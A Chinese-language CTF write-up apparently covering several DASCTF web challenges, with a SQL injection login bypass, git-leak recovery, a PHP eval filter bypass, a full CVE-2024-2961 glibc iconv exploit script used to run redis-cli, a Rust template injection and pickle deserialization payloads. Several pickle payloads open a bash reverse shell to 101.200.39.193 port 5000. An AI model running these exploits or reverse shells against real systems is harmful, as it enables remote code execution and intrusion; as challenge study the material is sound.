DASCTF打题记录


2025DASCTF-下

SecretPhotoGallery

1
    python dirsearch.py -u http://ebe486a3-c905-4631-a082-2542de50e08e.node5.buuoj.cn:81/  --max-rate 10

image-20251206161643875

打一个联合注入发现登进去了

1
1'union select 1,2,3--+

image-20251206161059175

然后访问admin.php

image-20251206161710491

发现role不对,所以要伪造jwt,所以要找密钥

image-20251206161736416

2025DASCTF-上

phpms

考点:git泄露+cve-2024-2961+redis命令查询

先dirsearch扫(buu有速率限制,记得加上参数)

1
python dirsearch.py -u http://b08eb642-b2a2-4985-9a53-f0612945bb61.node5.buuoj.cn:81/  --max-rate 10

image-20251129144907001

发现git泄露,恢复一下

1
githacker --url http://b08eb642-b2a2-4985-9a53-f0612945bb61.node5.buuoj.cn:81/.git --output-folder dasctf

image-20251129150129211

image-20251129150148828

啥东西也没有

1
2
3
4
5
6
7
8
git stash apply	#恢复之前保存的临时修改
    
类似操作有:
| git log --oneline | 查看简洁的提交历史 |
| git show <commit> | 查看某次提交的具体改动 |
| git stash list | 查看所有暂存的工作记录 |
| git stash show -p | 查看最近一次暂存的具体代码变化 |
| git stash show <stash@{0}> -p | 查看指定暂存的具体代码变化 |

image-20251129150241605

1
git add index.php	#将 index.php 文件添加到暂存区。

得到

1
2
3
4
5
6
7
8
<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){
    echo ':(';
}else{
    eval("#$shell");
}
?>

不准换行绕过注释,那就提前闭合绕过,打

1
shell=?><?phpinfo();?>

发现被过滤了???,发现过滤了很多函数,那就只能打文件读取了,结果大部分文件读取函数都禁了,比如啥print_r,var_dump,var_export,scandir,glob等等,最后用DirectoryIterator看目录

1
shell=?><?$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit(0); ?> 

image-20251129152343580

那接下来就是用SplFileObjec读/ect/passwd可以读,但是hintflag不能读

1
shell=?><?echo new SplFileObject('php://filter/read=convert.base64-encode/resource=/etc/passwd');?>

那肯定是要rce然后提权了,文件读取rce,那就想到了cve-2024-2961

1
shell=?><?echo new SplFileObject('php://filter/read=convert.base64-encode/resource=/proc/self/maps');?>
1
shell=?><?echo new SplFileObject('php://filter/read=convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');?>
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
#<?php
#$file = $_REQUEST['file']; 
#$data = file_get_contents($file);
#echo $data;

from dataclasses import dataclass
from pwn import *
import zlib
import os
import binascii

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self):
        return self.stop - self.start

def print_hex(data):
    hex_string = binascii.hexlify(data).decode()
    print(hex_string)

def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)

def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket

def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()

def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.b64encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload


def _get_region(regions, *names):
    """Returns the first region whose name matches one of the given names."""
    for region in regions:
        if any(name in region.path for name in names):
            break
    else:
        failure("Unable to locate region")
    return region


def find_main_heap(regions):
    # Any anonymous RW region with a size superior to the base heap size is a
    # candidate. The heap is at the bottom of the region.
    heaps = [
        region.stop - HEAP_SIZE + 0x40
        for region in reversed(regions)
        if region.permissions == "rw-p"
        and region.size >= HEAP_SIZE
        and region.stop & (HEAP_SIZE-1) == 0
        and region.path == ""
    ]

    if not heaps:
        failure("Unable to find PHP's main heap in memory")

    first = heaps[0]

    if len(heaps) > 1:
        heaps = ", ".join(map(hex, heaps))
        print("Potential heaps: "+heaps+" (using first)")
    else:
        print("[*]Using "+hex(first)+" as heap")

    return first


def get_regions(maps_path):
    """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
    f = open('maps','rb')
    maps = f.read().decode()
    PATTERN = re.compile(
        r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
    )
    regions = []
    for region in maps.split("\n"):
        #print(region)
        match = PATTERN.match(region)
        if match :
            start = int(match.group(1), 16)
            stop = int(match.group(2), 16)
            permissions = match.group(3)
            path = match.group(4)
            if "/" in path or "[" in path:
                path = path.rsplit(" ", 1)[-1]
            else:
                path = ""
            current = Region(start, stop, permissions, path)
            regions.append(current)
        else:
            print("[*]Unable to parse memory mappings")

    print("[*]Got "+ str(len(regions)) + " memory regions")
    return regions




def get_symbols_and_addresses(regions):

    # PHP's heap
    heap = find_main_heap(regions)

    # Libc
    libc_info = _get_region(regions, "libc-", "libc.so")

    return heap, libc_info


def build_exploit_path(libc, heap, sleep, padding, cmd):
    LIBC = libc
    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
    ADDR_EFREE = LIBC.symbols["__libc_system"]
    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
    ADDR_HEAP = heap
    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

    CS = 0x100

    # Pad needs to stay at size 0x100 at every step
    pad_size = CS - 0x18
    pad = b"\x00" * pad_size
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = b"\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, CS)
    step1 = compressed_bucket(step1)

    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

    step2_size = 0x48
    step2 = b"\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, CS)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = CS

    step3 = b"\x00" * step3_size
    assert len(step3) == CS
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
    assert len(step3_overflow) == CS
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = CS
    step4 = b"=00" + b"\x00" * (step4_size - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)

    # This chunk will eventually overwrite mm_heap->free_slot
    # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
    step4_pwn = ptr_bucket(
        0x200000,
        0,
        # free_slot
        0,
        0,
        ADDR_CUSTOM_HEAP,  # 0x18
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        ADDR_HEAP,  # 0x140
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        size=CS,
    )

    step4_custom_heap = ptr_bucket(
        ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
    )

    step4_use_custom_heap_size = 0x140

    COMMAND = cmd
    COMMAND = f"kill -9 $PPID; {COMMAND}"
    if sleep:
        COMMAND = f"sleep {sleep}; {COMMAND}"
    COMMAND = COMMAND.encode() + b"\x00"

    assert (
        len(COMMAND) <= step4_use_custom_heap_size
    ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
    COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

    step4_use_custom_heap = COMMAND
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
    pages = (
        step4 * 3
        + step4_pwn
        + step4_custom_heap
        + step4_use_custom_heap
        + step3_overflow
        + pad * padding
        + step1 * 3
        + step2_write_ptr
        + step2 * 2
    )
    
    resource = compress(compress(pages))
    resource = b64(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"


    filters = [
        # Create buckets
        "zlib.inflate",
        "zlib.inflate",
        
        # Step 0: Setup heap
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 1: Reverse FL order
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 2: Put fake pointer and make FL order back to normal
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 3: Trigger overflow
        "dechunk",
        "convert.iconv.UTF-8.ISO-2022-CN-EXT",
        
        # Step 4: Allocate at arbitrary address and change zend_mm_heap
        "convert.quoted-printable-decode",
        "convert.iconv.latin1.latin1",
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"
    path = path.replace("+", "%2b")
    return path


maps_path = './maps'
cmd = 'redis-cli -a admin123 GET "flag" >/tmp/1.txt'
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
    exit("[-]no maps file")

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: "+libc_path)

libc_path = './libc-2.31.so'
if not os.path.exists(libc_path):
    exit("[-]no libc file")

libc = ELF(libc_path, checksec=False)
libc.address = libc_info.start

payload = build_exploit_path(libc, heap, sleep_time, padding, cmd)

print("[*]payload:")
print(payload)

我们可以将我们想看的写到/tmp/1.txt,然后用读1.txt就行了,比如我想读/etc/passwd,打cat /etc/passwd >/tmp/1.txt(当然我们根本不需要这样读/etc/passwd)

1
?shell=?><?echo new SplFileObject('php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXsO%2b1mQBbwrXgJzpT1saebu16czpvrjYHZ2nvEo%2bp0k8ddrq3PVo9SesA2wnm/fxH7Jf5npzUXrA6ipEBL5hxaJNM4dTboa9mXI1%2bs3XaTtdNjvg1MKht1HGPeVo21Srtq1j12tS8iTkC%2bDU0eOqcFgzfGbu0L3Lv0bjsmdEq0iz4dSwrit%2b2w2uvl%2bzmqN/CD37vuLpe3662Zv/b0pvbd%2b23/f5rn73dv9X6s1LWhP%2bytc90%2bfSdgJMP/L%2bb3RsXty3wWM7dpP8rfq99917%2b9%2b3bcfe/Hz8ely2vv9X//v1///5Nez3/f4z8yfU8%2bE37f%2brv89eMT77PX88%2b4X691Ob5WW/6f//7lVpf%2b/Jxoe3kP/vefN/%2b79HX3PrauPl1Ly/f5v/9t3JvxO/gU8VrztfG7teru7Nu8pq/E2zS9epk0%2bvqbL%2bV7jy3Mya7bse5P3W113P33//t/jo5Pv7b9K9R89Or9/Kd/9pv91b82777dt%2bOl1bsv9Jf9%2bPt3v2fb1T1qS%2bVPmaiPGm/OYEIyNQ5LRa%2bMnxlclj2lJl/f/7On5jDTyDI2j539Jgu3ioXPcXT5VL9qOJRxaOK6ay44aXu1mM%2b23f37K7t2%2bTSmSJNwGyf/JWmabvupt55WzxF1UvlNgHlCVXeaw0vv9V7nDd/sU6g0k02AuovR70CFiIfdWO/ecflTfH/mPzza//7Ok1VpRx2QsWPbmn36is/pun9Xur2M0Uw0ZqQR7JXRscsPba95Ka%2b6Sn17o79DAA=');?>
1
?shell=?><?echo new SplFileObject('php://filter/read=convert.base64-encode/resource=/tmp/1.txt');?>

读ect/passwd发现redis用户,那redis里面应该有东西

image-20251129172421348

那就先读redis的配置文件,看看有没有redis密码

1
cat /etc/redis.conf
image-20251129172935222

发现泄露密码是admin123,然后用redis查询

1
2
redis-cli -a admin123 KEYS "*" 
redis-cli -a admin123 GET "flag"

再短一点点

泽西岛

2024DASCTF-下

西湖论剑邀请函获取器

rust之ssti

提示是rust之ssti,而且flag在环境中的FLAG,拷打一下ai直接出

1
{{ get_env(name="FLAG") }}

const_python

pickle反序列化之pker

访问src得到源码(有些源码藏注释了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']


        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username


    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

一眼就是打pickle反序列化,是无回显,要不打写入某文件,要么反弹shell,过滤了很多命令执行函数,但是subprocess没有被过滤,直接打,弹shell差不多

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import pickle
import base64
import  os
import subprocess


class P(object):
    def  __reduce__(self):
        return (subprocess.run, (["bash","-c","cat ../../../flag > app.py" ],))
#subprocess.run(["bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"])

payload = pickle.dumps(P(), protocol=0)
b64_payload = base64.b64encode(payload)
print(payload)
print(b64_payload.decode())

不过这里尝试手写opcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
opcode = b'''csubprocess
run
p0
((lp1
Vbash
p2
aV-c
p3
aVbash -i >& /dev/tcp/101.200.39.193/5000 0>&1
p4
atp5
Rp6.
'''
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
opcode = b'''csubprocess
    run
     #c 表示加载一个模块;这里是指加载 subprocess 模块。run 是接下来要从 subprocess 模块中获取的对象名,即函数 run。
    p0
    #p 是指将最近恢复的对象存入给定的协议编号的位置;这里是位置 0。
    ((lp1
    #( 开始一个元组构建。l 表示列表对象的结束并返回到之前的状态(在这里表示开始一个新的列表)。p1 将刚刚创建的列表存储在位置 1。
    Vbash
    p2
     # V 用于加载一个 Unicode 字符串;这里是字符串 'bash'。p2 将字符串 'bash' 存储在位置 2。
    aV-c
    p3
     #a 是追加指令,它会把栈顶的对象添加到下面的对象(通常是一个列表或元组)。这里的 a 会将 'bash' 添加到由 l 创建的空列表中。V 再次用于加载一个 Unicode 字符串,这里是 '-c'。p3 将字符串 '-c' 存储在位置 3
    aVbash -i >& /dev/tcp/ip/port 0>&1
    #这次是将 '-c' 添加到列表中。V 加载一个更长的 Unicode 字符串,该字符串包含实际的 bash 命令。
    p4
    #    p4 将这个命令字符串存储在位置 4。
    atp5
    #这个 a 指令将上述完整的命令字符串添加到列表中。t 结束元组构建,并将元组作为单个对象压入堆栈。p5 将这个元组存储在位置 5
    Rp6.
    #R 调用最近的对象(这里是 subprocess.run),使用当前堆栈顶部的对象作为参数。p6 将结果存储在位置 6。. 表示序列化的结束
    '''

其实就是等于

1
subprocess.run(["bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"])

或者这样,他opcode里的V就是用unicode字符,但他的写法仍是原本的字符,直接用S也行

1
2
3
4
5
6
7
8
poc = b'''csubprocess
run
p0
0g0
((S'bash'
S'-c'
S'bash -i >& /dev/tcp/101.200.39.193/5000 0>&1'
ltR.'''
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import base64
opcode ='''csubprocess
run
p0
0g0
((S'bash'
S'-c'
S'bash -i >& /dev/tcp/101.200.39.193/5000 0>&1'
ltR.'''.encode()
print(base64.b64encode(opcode).decode())

或者用pker写,pker的下载链接地址https://github.com/eddieivan01/pker,这里我们发现可以使用builtins.open,有read,有write,可以读取/flag,然后写到app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
getattr = GLOBAL('builtins', 'getattr')

open = GLOBAL('builtins', 'open')
flag=open('/flag')
read=getattr(flag, 'read')
f=open('./app.py','w')
write=getattr(f, 'write')
fff=read()
write(fff)
return
1
 cat pker.txt | python pker.py
1
2
3
import base64
opcode =b"cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S'/flag'\ntRp2\n0g0\n(g2\nS'read'\ntRp3\n0g1\n(S'./app.py'\nS'w'\ntRp4\n0g0\n(g4\nS'write'\ntRp5\n0g3\n(tRp6\n0g5\n(g6\ntR."
print(base64.b64encode(opcode).decode())

pickle反序列化初探-先知社区

谢谢观看